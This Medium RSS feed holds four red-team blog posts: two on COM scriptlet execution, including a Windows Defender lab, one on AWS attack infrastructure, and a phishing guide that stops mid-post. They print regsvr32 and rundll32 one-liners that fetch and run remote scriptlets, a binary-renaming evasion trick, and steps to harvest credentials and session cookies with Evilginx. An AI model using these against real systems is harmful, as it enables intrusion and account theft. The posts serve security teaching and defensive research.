<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vivek Singh on Medium]]></title>
        <description><![CDATA[Stories by Vivek Singh on Medium]]></description>
        <link>https://medium.com/@Cicada3301?source=rss-377cc87219e1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*2auazb2Cw5d8mF4G</url>
            <title>Stories by Vivek Singh on Medium</title>
            <link>https://medium.com/@Cicada3301?source=rss-377cc87219e1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 14:30:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Cicada3301/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[COM Scriptlets (Part 2): How Windows Defender Interacts with Legacy COM-Based Execution]]></title>
            <link>https://medium.com/@Cicada3301/com-scriptlets-part-2-how-windows-defender-interacts-with-legacy-com-based-execution-5516794b5e67?source=rss-377cc87219e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5516794b5e67</guid>
            <dc:creator><![CDATA[Vivek Singh]]></dc:creator>
            <pubDate>Thu, 05 Feb 2026 13:58:17 GMT</pubDate>
            <atom:updated>2026-02-05T13:58:17.943Z</atom:updated>
            <content:encoded><![CDATA[<p>In Part 1, we discussed how COM Scriptlets enable execution through architectural indirection rather than traditional scripting or payload delivery. The focus there was on <em>why</em> these techniques exist and <em>how</em> they bypass visibility by design.</p><p>In this second part, we move from theory to practice.</p><p>This post documents a controlled lab experiment that observes how <strong>Windows Defender responds to COM Scriptlet execution</strong> under different conditions. The goal is not to demonstrate a working exploit against a modern system, but to understand <strong>where and how Defender enforces controls</strong> when legacy execution techniques are used.</p><h3>Disclaimer</h3><p>This content is provided strictly for educational and defensive research purposes.</p><p>All testing was performed in a controlled lab environment on systems owned by the author. The techniques discussed here are documented to help defenders, detection engineers, and security practitioners understand legacy execution paths and modern endpoint protection behavior.</p><p>Do not use these techniques against systems you do not own or have explicit permission to test.</p><h3>Lab Setup</h3><ul><li><a href="https://github.com/void-call/RedTeam-Ops/blob/main/Initial-Access/file.sct"><em>file.sct</em></a> : A COM scriptlet file was hosted over HTTP.</li><li>The scriptlet logic simply launched calc.exe to provide a harmless execution indicator.</li><li>Target OS: Windows 10 (Defender enabled by default)</li></ul><h3>Scenario 1: Windows Defender Real-Time Protection Disabled</h3><p>The first test establishes a baseline by disabling Windows Defender real-time protection.</p><p>The scriptlet was executed using regsvr32 in its native form, loading the scriptlet engine directly from scrobj.dll and retrieving the scriptlet over HTTP.</p><h4>Command Executed</h4><pre>regsvr32 /s /n /u /i:http://192.168.164.129:8888/file.sct scrobj.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WK2oY6aA9tNRLmSHopuPQw.png" /></figure><p>The result was straightforward.</p><ul><li>Calc.exe launched successfully.</li><li>No warnings, alerts, or errors were generated.</li></ul><p>This confirms an important point: from a purely technical standpoint, COM Scriptlets still function exactly as designed. When no endpoint protection is present, the execution chain completes reliably.</p><p>This behavior reflects legacy Windows execution semantics rather than a vulnerability.</p><h4>Scenario 2: Windows Defender Enabled, Native Binaries Used</h4><p>The same command was executed again, this time with Windows Defender real-time protection enabled.</p><p>The result changed immediately.</p><p>Execution failed with an “Access is denied” error, and Defender generated a block notification.</p><p>This block occurred before any network activity, script parsing, or payload execution. Defender detected the execution intent itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*vYUFMCBdIlB279oKX0aFkg.png" /></figure><p>Specifically, Defender identified:</p><ul><li>The invocation of regsvr32</li><li>The use of the /i:http switch to retrieve remote content</li><li>The loading of scrobj.dll, the COM Scriptlet engine</li></ul><p>This execution chain is a well-known LOLBin abuse pattern and is explicitly tracked in MITRE ATT&amp;CK as <a href="https://attack.mitre.org/techniques/T1218/010/">T1218.010</a>.</p><p>Because of this high-confidence pattern, Defender applied a <strong>pre-execution block</strong>. The scriptlet was never downloaded, and the payload logic was never reached.</p><h4>Scenario 3: Defender Enabled with Renamed and Relocated Binaries</h4><p>To test whether static indicators were responsible for the block, both regsvr32.exe and scrobj.dll were copied to a user-writable directory and renamed.</p><p>The renamed binaries were then used to execute the same command.</p><pre>C:\Users\elliot\AppData\Local\Temp\test1.exe /s /n /u /i:http://192.168.164.129:8888/file.sct C:\Users\elliot\AppData\Local\Temp\test2.dll</pre><p>This time, there was no immediate “Access is denied” error. Process creation was allowed.</p><p>However, calc.exe still did not launch, and Defender generated a block notification shortly afterward.</p><p>This demonstrates an important shift in enforcement behavior.</p><p>Renaming and relocating the binaries successfully bypassed simple filename- and path-based detections. Defender no longer blocked execution at process creation.</p><p>However, Defender still detected the activity through deeper mechanisms, including:</p><ul><li>Behavioral analysis of COM Scriptlet invocation</li><li>AMSI inspection of script logic</li><li>Correlation between script execution and child process creation</li></ul><p>In this scenario, execution was allowed to begin, but malicious behavior was blocked <strong>after execution started</strong>.</p><p>This is post-execution enforcement rather than pre-execution blocking.</p><p>Key Observations So Far</p><p>Several conclusions can already be drawn.</p><ul><li>Disabling Defender confirms that the scriptlet and execution chain are technically valid.</li><li>With Defender enabled, native regsvr32 usage is blocked before execution begins.</li><li>Renaming binaries bypasses only superficial checks.</li><li>Behavioral detection and AMSI continue to prevent payload execution.</li></ul><p>Simple obfuscation techniques such as renaming and relocation are ineffective against modern endpoint protection.</p><h4>Additional Observation: Scriptlet Download Behavior</h4><p>To better understand where Defender intervenes, HTTP server logs were reviewed to determine whether the scriptlet was actually retrieved in each scenario.</p><p>Only a single successful HTTP request was observed, corresponding to Scenario 1 when Defender was disabled.</p><p>No HTTP requests were recorded during Scenario 2 or Scenario 3.</p><p>This reveals a subtle but important behavior.</p><p>In Scenario 3, execution was allowed to start, but Defender still blocked the execution chain <strong>before the network retrieval stage</strong>. The scriptlet file was never downloaded at all.</p><p>Defender identified scriptlet execution intent early enough to suppress network access entirely.</p><h4>Why This Matters</h4><p>This behavior highlights that Defender enforces controls at multiple, independent stages.</p><p>It does not rely solely on:</p><ul><li>Process name</li><li>Binary path</li><li>File extension</li></ul><p>Instead, it evaluates intent, behavior, content, and execution context.</p><p>Even when superficial checks are bypassed, Defender can still:</p><ul><li>Prevent scriptlet retrieval</li><li>Suppress network access</li><li>Block script execution</li><li>Stop payload actions</li></ul><h4>Additional Observation: File Extension–Aware Network Enforcement</h4><p>To further explore Defender’s behavior, the scriptlet file on the server was renamed.</p><p>The file extension was removed, but the content remained identical. Renamed binaries were used again, and Defender remained enabled.</p><p>This time, the HTTP server logged a successful request. The scriptlet content was retrieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*XNaLKG9BpYkRt24sZD5x3Q.png" /></figure><p>However, the outcome did not change.</p><ul><li>Calc.exe still did not launch, and Defender still generated a block notification.</li></ul><p>This suggests Defender applies additional heuristics based on file type.</p><p>When the remote resource used a .sct extension, Defender blocked retrieval entirely.<br> When the extension was removed, retrieval was allowed, but execution was still blocked later in the chain.</p><p>Network retrieval alone was not sufficient to enable execution.</p><h4>What This Tells Us</h4><ul><li>Windows Defender does not rely on a single enforcement point.</li><li>File-type awareness can influence early blocking decisions, but content inspection and behavioral analysis remain decisive.</li><li>Even when a scriptlet is successfully downloaded, Defender still inspects the content and correlates execution behavior before allowing payload actions.</li></ul><p>This layered enforcement model significantly reduces the practical viability of COM Scriptlets in modern environments.</p><h3>Updated Insight</h3><p>Windows Defender appears to apply file-type–aware controls during scriptlet retrieval, suppressing downloads of known high-risk formats such as .sct. Even when retrieval occurs, subsequent content inspection and behavioral analysis continue to prevent payload execution.</p><h4>Why This Is a Strong Learning Outcome</h4><p>This practical exercise reinforces several key lessons.</p><ul><li>Legacy execution techniques can still function in theory, but modern defenses operate across multiple layers.</li><li>Bypassing one detection mechanism does not imply success.</li><li>Defender’s strength lies in correlation, not individual indicators.</li></ul><p>In the context of Part 1, this demonstrates the difference between <strong>architectural possibility</strong> and <strong>practical viability</strong>.</p><p>COM Scriptlets remain an important concept for understanding execution indirection and legacy trust, even if their real-world effectiveness is now heavily constrained by modern endpoint protection.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5516794b5e67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[COM Objects and Scriptlets (Part 1): Executing Through Windows’ Trust]]></title>
            <link>https://medium.com/@Cicada3301/com-objects-and-scriptlets-part-1-executing-through-windows-trust-3fd75edf09bb?source=rss-377cc87219e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3fd75edf09bb</guid>
            <dc:creator><![CDATA[Vivek Singh]]></dc:creator>
            <pubDate>Tue, 03 Feb 2026 10:08:49 GMT</pubDate>
            <atom:updated>2026-02-03T10:08:49.316Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>When discussing initial access and execution tradecraft, most defenders and attackers immediately think of PowerShell, Office macros, or custom implants. However, Windows contains a much older execution substrate that is still fully supported, widely trusted, and often under-instrumented: the Component Object Model, or COM.</p><p>This post documents what I learned about COM Objects and Scriptlets, not as an initial access mechanism, but as an execution and defense-evasion technique. The focus is on why these techniques exist, where they fit in the attack lifecycle, and how they differ architecturally from more modern execution paths.</p><h3>Component Object Model (COM)</h3><p>The Component Object Model is a foundational Windows architecture designed to enable inter-process communication, language-agnostic component reuse, and dynamic object instantiation through the Windows registry.</p><p>COM underpins many familiar Windows technologies, including ActiveX, OLE, Windows Script Host (WScript and CScript), and Internet Explorer’s mshtml engine.</p><p>Although often described as “legacy,” COM is deeply embedded in Windows and cannot realistically be removed. Because of its age and perceived stability, many COM execution paths receive significantly less scrutiny than modern scripting engines like PowerShell. This creates execution blind spots that attackers can exploit.</p><p>The key takeaway is simple: COM is not obsolete in practice. It is legacy-trusted, and that trust creates opportunities for stealthy execution.</p><h3>COM Scriptlets</h3><p>A COM Scriptlet, typically stored with a .sct extension, is a script-based COM component defined using XML. Unlike traditional COM objects that are compiled into DLLs, scriptlets are text-based and define both their registration metadata and executable logic in a single artifact.</p><p>Crucially, a scriptlet is not treated by Windows as a script file to be executed. Instead, it is treated as a component definition that can be instantiated by a COM engine. Execution occurs only when a consumer creates the object and invokes one of its exposed methods.</p><h4>Scriptlet Structure</h4><p>The following is a representative COM scriptlet example, included to ground the discussion in a real artifact and to clarify how Windows interprets each section.</p><pre>&lt;?XML version=&quot;1.0&quot;?&gt;<br>&lt;scriptlet&gt;<br>  &lt;registration<br>      Description=&quot;Scriptlet Malware&quot;<br>      ProgID=&quot;Scriptlet.Malware&quot;<br>      Version=&quot;1.00&quot;<br>      ClassID=&quot;{3ac6e5c0-9f18-11d1-83d1-f49604c10000}&quot;&gt;<br>  &lt;/registration&gt;<br><br>  &lt;public&gt;<br>    &lt;method name=&quot;Exec&quot;&gt;&lt;/method&gt;<br>  &lt;/public&gt;<br><br>  &lt;script language=&quot;JScript&quot;&gt;<br>  &lt;![CDATA[<br>      function Exec() {<br>          new ActiveXObject(&quot;WScript.Shell&quot;).Run(&quot;powershell.exe ...&quot;);<br>      }<br>  ]]&gt;<br>  &lt;/script&gt;<br>&lt;/scriptlet&gt;</pre><p>This scriptlet has three distinct logical layers.</p><p>The registration block defines the COM object’s identity. The ProgID provides a human-readable name, while the ClassID (CLSID) is the globally unique identifier Windows uses internally. This metadata allows Windows to treat the scriptlet as a legitimate COM component rather than a standalone script file.</p><p>The public interface definition specifies which methods are exposed to callers. In this case, a single method named Exec is made available. Only methods declared here can be invoked after instantiation.</p><p>The script implementation contains the JScript or VBScript logic backing the exposed methods. When the COM object is instantiated and Exec is called, the embedded script executes inside a trusted Windows scripting engine context rather than as a user-invoked script.</p><p>For example, in JScript:</p><pre>&lt;script language=&quot;JScript&quot;&gt;<br>  &lt;![CDATA[<br>      function Exec() {<br>          new ActiveXObject(&quot;WScript.Shell&quot;).Run(&quot;powershell.exe ...&quot;);<br>      }<br>  ]]&gt;<br>&lt;/script&gt;</pre><p>And in VBScript:</p><pre>&lt;script language=&quot;VBScript&quot;&gt;<br>&lt;![CDATA[<br>    Shell &quot;powershell.exe ...&quot;<br>]]&gt;<br>&lt;/script&gt;</pre><p>Although this artifact looks like a script, Windows processes it as a component definition. The code runs only as a side effect of COM object instantiation.</p><h3>Execution Model</h3><p>The key execution model demonstrated here is in-memory or transient execution.</p><p>In this mode, the scriptlet is retrieved from a remote location, parsed directly by the COM scriptlet engine, instantiated in memory, and executed without leaving a persistent .sct file on disk.</p><p>This enables fileless execution. No payload artifact is written, and execution authority is inherited from trusted system binaries.</p><h3>Execution Methods</h3><p>The execution techniques all lead to the same outcome: a remote COM scriptlet is instantiated and its public methods are invoked. The differences lie only in how execution is triggered.</p><h4>Method 1: regsvr32 with the Scriptlet Engine</h4><p>In this method, regsvr32, a Microsoft-signed binary intended for COM registration, is instructed to load the scriptlet engine (scrobj.dll) and retrieve a remote scriptlet definition.</p><p>Key characteristics include remote retrieval, in-memory parsing, no persistent .sct file on disk, and execution under a trusted Windows binary.</p><p>This is a classic example of signed binary proxy execution and is why this technique is commonly classified as LOLBin-based.</p><p>Example execution:</p><pre>regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll</pre><h4>Method 2: rundll32 and the mshtml Engine</h4><p>This method abuses the Internet Explorer HTML engine to create a scripting environment capable of instantiating COM objects.</p><p>Execution occurs inside mshtml, a legacy but trusted Windows component. Script execution is indirect and embedded, and the scriptlet is consumed as a component definition rather than a script file.</p><p>Example execution:</p><pre>rundll32.exe javascript:&quot;\\..\mshtml,RunHTMLApplication &quot;;document.write();GetObject(&quot;script:http://server/file.sct&quot;).Exec();</pre><h4>Method 3: Script-Based Instantiation</h4><p>In this case, an existing scripting context directly instantiates the remote scriptlet and invokes its public methods.</p><p>This approach has a minimal execution footprint, no explicit interpreter invocation, and a clear separation between execution trigger and payload logic.</p><p>Example execution:</p><pre>GetObject(&quot;script:http://127.0.0.1:8080/calc.sct&quot;).Exec();</pre><h3>COM Scriptlets: Execution and Evasion</h3><p>COM scriptlets can be executed via the Windows Shell, embedded in VBA, or even triggered from shortcut (.LNK) files.</p><p>From a defensive perspective, they are often detected by monitoring command-line usage of binaries like regsvr32.exe or references to scrobj.dll. To bypass such detections, adversaries frequently copy scriptlet files to user-writable paths such as %TEMP% or %APPDATA% using benign or obfuscated filenames before registration and execution.</p><h4>Why This Is a LOLBin Technique</h4><p>This methodology qualifies as LOLBin usage because execution is performed entirely by Microsoft-signed system binaries such as regsvr32, rundll32, and mshta. No custom executable is required, and the payload is treated as data consumed by a trusted execution engine.</p><p>The scriptlet itself is not the executor. It is simply a component definition interpreted by a LOLBin.</p><h4>Obfuscation by Design</h4><p>The obfuscation provided by COM scriptlets is architectural rather than cryptographic.</p><p>Instead of a simple script-to-payload relationship, the execution flow becomes: trusted binary to COM engine, COM engine to scriptlet, scriptlet to public method, and finally payload logic.</p><p>Each layer appears benign in isolation, reduces static and behavioral clarity, and complicates detection and correlation. This is what makes COM-based execution particularly effective in environments that focus primarily on modern scripting engines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsHsnccoiDpeG1TXSgMO4A.png" /></figure><h3>Part One: What’s Next</h3><p>This concludes Part One of this series.</p><p>In Part Two, we will move from theory to practice and walk through a hands-on demonstration of the COM Scriptlet techniques discussed in this post, including execution flow, tooling, and observable artifacts.</p><h3>References</h3><ul><li><a href="https://access.maltrak.com/courses/in-depth-red-teaming-apt-adversary-simulation">https://access.maltrak.com/courses/in-depth-red-teaming-apt-adversary-simulation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3fd75edf09bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Red Team Lab Integration]]></title>
            <link>https://medium.com/@Cicada3301/red-team-lab-integration-81ba597a17?source=rss-377cc87219e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/81ba597a17</guid>
            <dc:creator><![CDATA[Vivek Singh]]></dc:creator>
            <pubDate>Tue, 25 Jan 2022 19:26:40 GMT</pubDate>
            <atom:updated>2022-01-25T19:26:40.082Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objective:</h3><p>Given today’s cyberthreat landscape, it’s important for organizations to understand how cyber threat actors continue to diversify their APT attacks by leveraging the MITRE framework. This Lab enables you to simulate real-world attacks using the MITRE framework and henceforth test software defenses, the security defense team’s response, security policies and procedures, and overall readiness across the full attack surface.</p><h3>Architecture:</h3><p>We’ll be creating EC2 instances on AWS to host Red team infrastructure which comprises Evilginx2, GoPhish, Caldera, and C2 Redirector. We’ll be using Terraform to automate this operation via scripts.</p><h4>Terraform</h4><p>It is an open-source infrastructure as a code software tool that allows you to automate, and build infrastructure safely and efficiently. In our case, those infrastructure is nothing but EC2 instances and network configurations related to it.<br>Terraform users define and <a href="https://searchcloudcomputing.techtarget.com/tip/How-to-deploy-Terraform-code-in-an-Azure-DevOps-pipeline">enforce infrastructure configurations</a> by using a JSON-like configuration language called HCL (HashiCorp Configuration Language).</p><p><strong>Step1: Creating an account on AWS to create EC2s</strong></p><ul><li>To create EC2s (VMs on AWS), for Red Team Lab integration, we first create an account on AWS.</li><li>Navigate to the <a href="https://console.aws.amazon.com/">link </a>to create your account</li><li>Once the account is created, we need to create the Key Pairs.</li><li>This entity allows us to remotely create multiple EC2 via scripts by authenticating the API calls to create them.</li><li>First, navigate to the AWS management console and select the region as Ireland</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*5zG85BJoD5xPoSq2zqCMbg.png" /></figure><ul><li>Now search for EC2 in the search panel and land on the EC2 dashboard.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b01qg1If5QxFS3URm8qm5A.png" /></figure><ul><li>Then under <em>Network &amp; Security</em> navigate to <em>Key Pairs</em></li><li>Create key pair &gt; Provide a name to it &gt; Key Pair type as RSA &gt; Private key file format: .pem &gt; Create key pair</li><li>It will automatically be downloaded once it gets created.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_OLqiwEOAqp6TqMIDeRtQ.png" /></figure><p><strong>Step2: Setting up Terraform</strong></p><ul><li>Once you are done with creating Key Pair on AWS, the next step is to set up your terraform platform.</li><li>Navigate to the <a href="https://www.terraform.io/cloud">link </a>and create your account.</li><li>Next, create a workspace with CLI-driven (as we will be using Terraform CLI App)</li><li>Create an organization and provide it with a unique name.</li><li>Now select CLI-driven workflow</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*lGD6eNhQIMZealmxCvJsXA.png" /></figure><ul><li>Provide it a workspace name after which its workspace will be created and you can view those details on the Example code</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AiWSAssDLHjK5lo4d9oPgQ.png" /></figure><ul><li>The next step is to download the terraform CLI tool which you will use to create multiple EC2 via scripts</li><li>Navigate to <a href="https://www.terraform.io/downloads.html">link</a></li><li>Copy terraform.exe to C:\WINDOWS or any registered path in $PATH environment variables (for easy access)</li><li>Check details related to this app</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*havqKGyWm691WL6XYEVSxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*0uvaVtfCJ3CVn8b8n450HA.png" /></figure><ul><li>Now you need to create the Login token which will be used to authenticate the commands ran remotely from the command prompt to create EC2s via Terraform.</li><li>Go to CMD, navigate to terraform directory, and type “terraform.exe login”</li><li>Confirm with “yes” and Create an API Token</li><li>Paste this API Token into the CLI app</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*nRsogbQiR4ZNyqM5Nii0uw.png" /></figure><ul><li>Now you need to create IAM User on AWS via which you’ll be managing the EC2s remotely from scripts.</li><li>Now you need to create IAM User on AWS via which you’ll be managing the EC2s remotely from scripts.</li><li>Search for IAM User in the AWS console search panel and create a new User.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*tsOjsJri6uIvOrRHDMi_nw.png" /></figure><ul><li>Simultaneously when creating a User, you also need to assign it to a group which you need to create and provide it “AdministrativeAccess”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AVDAadyyPS-kGVDQKyCbpQ.png" /></figure><ul><li>Then navigate to tags, don’t create any keys and go to the next page to create a user.</li><li>Once the user is created, you’ll be provided with an “Access key ID” and “Secret access key” which you need to copy and save it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*8Wl6dCD-UD1BOE5R7DZPEg.png" /></figure><ul><li>These Access IDs and keys will be used by Terraform while creating instances on AWS. AWS will authenticate those API calls by checking Access IDs and keys.</li><li>To implement the same functionality we need to create variables on Terraform.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zakbJj3v2aaCXjXMW3g30A.png" /></figure><p><strong>Step3: Configuring Instances on AWS via Terraform CLI tool</strong></p><ul><li>We need to create main.tf first which will, in turn, create multiple API calls to create EC2 instances.</li><li>First, we need to specify Terraform’s respective <em>organization </em>and <em>workspace</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*RmcfoWA_OM-qkv9NamhgIw.png" /></figure><ul><li>All remaining main.tf configuration can be made by referring to <a href="https://learn.hashicorp.com/tutorials/terraform/aws-build">link</a>.</li><li>Run command “terraform.exe init”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*xAqZ-9KaW6YNfW6B1VeR8Q.png" /></figure><ul><li>Run command “terraform.exe plan”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKCP3CGX9eIwC62Q-Kmnzw.png" /></figure><ul><li>This will list all the actions it will be taking. You can ignore all the warnings.</li><li>Run command “terraform.exe apply”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kv-sAIBmwBA1iFSBxCwqQ.png" /></figure><ul><li>This will create all the required instances, details of which will be displayed at the end.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*OZ17Kq_mdAz2PNW0RXnbMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNVFgl2UxjLfuz-XaI5caw.png" /></figure><ul><li>The next action is to log in to the Caldera Server to gather the required creds for its web console.</li><li>Run command “ssh -i ec2_key_pair.pem ec2-user@1.1.1.1”.</li><li>You may encounter the below issue due to folder permission.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2yd8zS5cDlVWHAmjOeQzwg.png" /></figure><ul><li>If you run the same on the desktop, there won’t be an issue.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pA-YiFWP2x5IbjOU4pu9EA.png" /></figure><ul><li>Then simply open the file /etc/password to check the creds for the Caldera web console.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*-TwQCikmHHu6GRS9-86srQ.png" /></figure><ul><li>Now you may either use Redirector public IP (port 80) or Caldera public IP (port 8888) for getting the web console.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WENwmlY8sxTKCsYORbemyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-PwAYbniqMONan9LLWP0w.png" /></figure><ul><li>To destroy all the instances, run the command “terraform.exe destroy”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IXlBA-KZePd06r1h5xEbwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*DwCiZiN4ADbiSmSEQT7--Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81ba597a17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phishing and Social Engineering]]></title>
            <link>https://medium.com/@Cicada3301/phishing-and-social-engineering-fdfd2be2c04?source=rss-377cc87219e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdfd2be2c04</guid>
            <dc:creator><![CDATA[Vivek Singh]]></dc:creator>
            <pubDate>Mon, 24 Jan 2022 19:24:56 GMT</pubDate>
            <atom:updated>2022-01-25T19:14:15.953Z</atom:updated>
            <content:encoded><![CDATA[<p>In our previous blog, we discussed the steps required to host Red Team infrastructure on AWS. Our next action is to phish our victims in letting them access this infrastructure, as if they are accessing a valid domain, and then gather sensitive information through their web activity.</p><h4><strong>Registering Phishing domains on AWS</strong></h4><ul><li>First, we need to register a domain for phishing.</li><li>We can register the same on the AWS console.</li><li>First, navigate to <em>Route 53</em>, and under <em>Register Domain</em>, look for a phishing domain.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*ZZkG0GNfto6ZNPAdh7asSg.png" /></figure><ul><li>Now search for available domains and purchase one.</li><li>Next, you need to add A record to map your GoPhish and Evilginx IP to it.</li><li>You may either manually add them, or you may do it via terraform.</li><li>It is recommended to keep 2 separate domains for Phishing and C&amp;C to avoid your Phishing domain getting categorized as malicious.</li></ul><h4>Manually Adding A-Record.</h4><ul><li>First login to AWS web console and navigate to<em> Route 53 &gt; Hosted Zones</em></li><li>Select the respective “<em>Domain Name</em>”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEXeeng_W2qgInWKf2qzKA.png" /></figure><ul><li>Here you’ll notice that by default NS and SOA records are present.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vGtzB-o0gzs7RySnFVOHvA.png" /></figure><ul><li>Click on “<em>Create Record</em>” and add the required details like <em>Record name</em>, <em>Record Type (A record),</em> and <em>Value</em> (IP address of GoPhish and Evilginx)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZr9ERrNtUazfqLmw6xwVA.png" /></figure><h4>Adding necessary records via terraform (scripts)</h4><ul><li>First, open main.tf file and add below configurations.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*3Kjh9gZ6asJWkp6k3dpiXQ.png" /></figure><ul><li>Now execute the below terraform commands as demonstrated in the previous blog.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*8IAY31gCTXBg8OrgN2o6Lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*GFWkJxNy_gY_FmOf0QUsnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*WebTSfxbsmiDLHY1pDMJwA.png" /></figure><ul><li>Once completed, you can notice the respective records getting added.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pye5j5NOjwAOrD9m-rAEPw.png" /></figure><ul><li>You may then access the respective hosts and confirm the same.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4Zwhh4o-qnve_BG15Lf0w.png" /></figure><h4>Integrating GoPhish with Sendinblue and EvilGinx:</h4><ul><li>GoPhish is a phishing management tool that can be used to send multiple phishing emails at once.</li><li>It helps to track the actions done to the mail, like whether it got delivered or was opened.</li><li>It can also clone pages and grab passwords but there is one drawback.</li><li>It cannot exactly mimic the web traffic to all the resources of the target domain but only the page we cloned.</li><li>Hence to overcome this, we use EvilGinx which can even help us bypass 2-factor authentication</li><li>EvilGinx works as a forward proxy and relays the web traffic to the target domain, hence exactly mimicking web traffic to all the resources of that domain.</li><li>With this functionality of a forward proxy, not only can grab the user creds but can also extract the session cookies which can be used for session hijacking.</li><li>Now although Gophish is a phishing campaign management app, it cannot independently send phishing emails.</li><li>It requires e-mailing services like Sendinblue, Google Workspace, etc.</li></ul><p><strong>Step 1: Create an account in Sendinblue:</strong></p><ul><li>Navigate to the <a href="https://www.sendinblue.com/">link </a>and Sign up for a free account</li><li>You may even Signup with google</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*ASNG3lL-dJnGfbjhV0blEA.png" /></figure><ul><li>Provide your account details and confirm your Phone Number:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*sY3S5wbLnfVQxLHUClBC8Q.png" /></figure><ul><li>Provide your company details:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*bf6LakmPKw3gI-shgrbqIg.png" /></figure><ul><li>Provide your business details:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*0KU6sy7bTwI6MXI86lXErw.png" /></figure><ul><li>Select “Continue with Free Plan” after which your account will be created.</li></ul><p><strong>Step 2: Configuring Sendinblue</strong></p><ul><li>First, you need to validate your phishing domain which will be used to create a sender Email ID for sending phishing emails.</li><li>Navigate to the drop-down arrow on the top right corner of the screen and select “<em>Sender &amp; IP</em>”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*dEqMarWk9-pxKxnfMKPN1g.png" /></figure><ul><li>Then Navigate to <em>Domains</em> and click on “<em>Add a new Domain</em>”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hukSJb3-6kD9Rgqj8hOuoQ.png" /></figure><ul><li>Enter your phishing domain and select “<em>I would like to use this domain to digitally sign my emails (SPF, DKIM, DMARC)</em>”.</li><li>Then you will receive a list of multiple TXT records which you need to add to your registered domain in the AWS console.</li></ul><figure><img alt="" 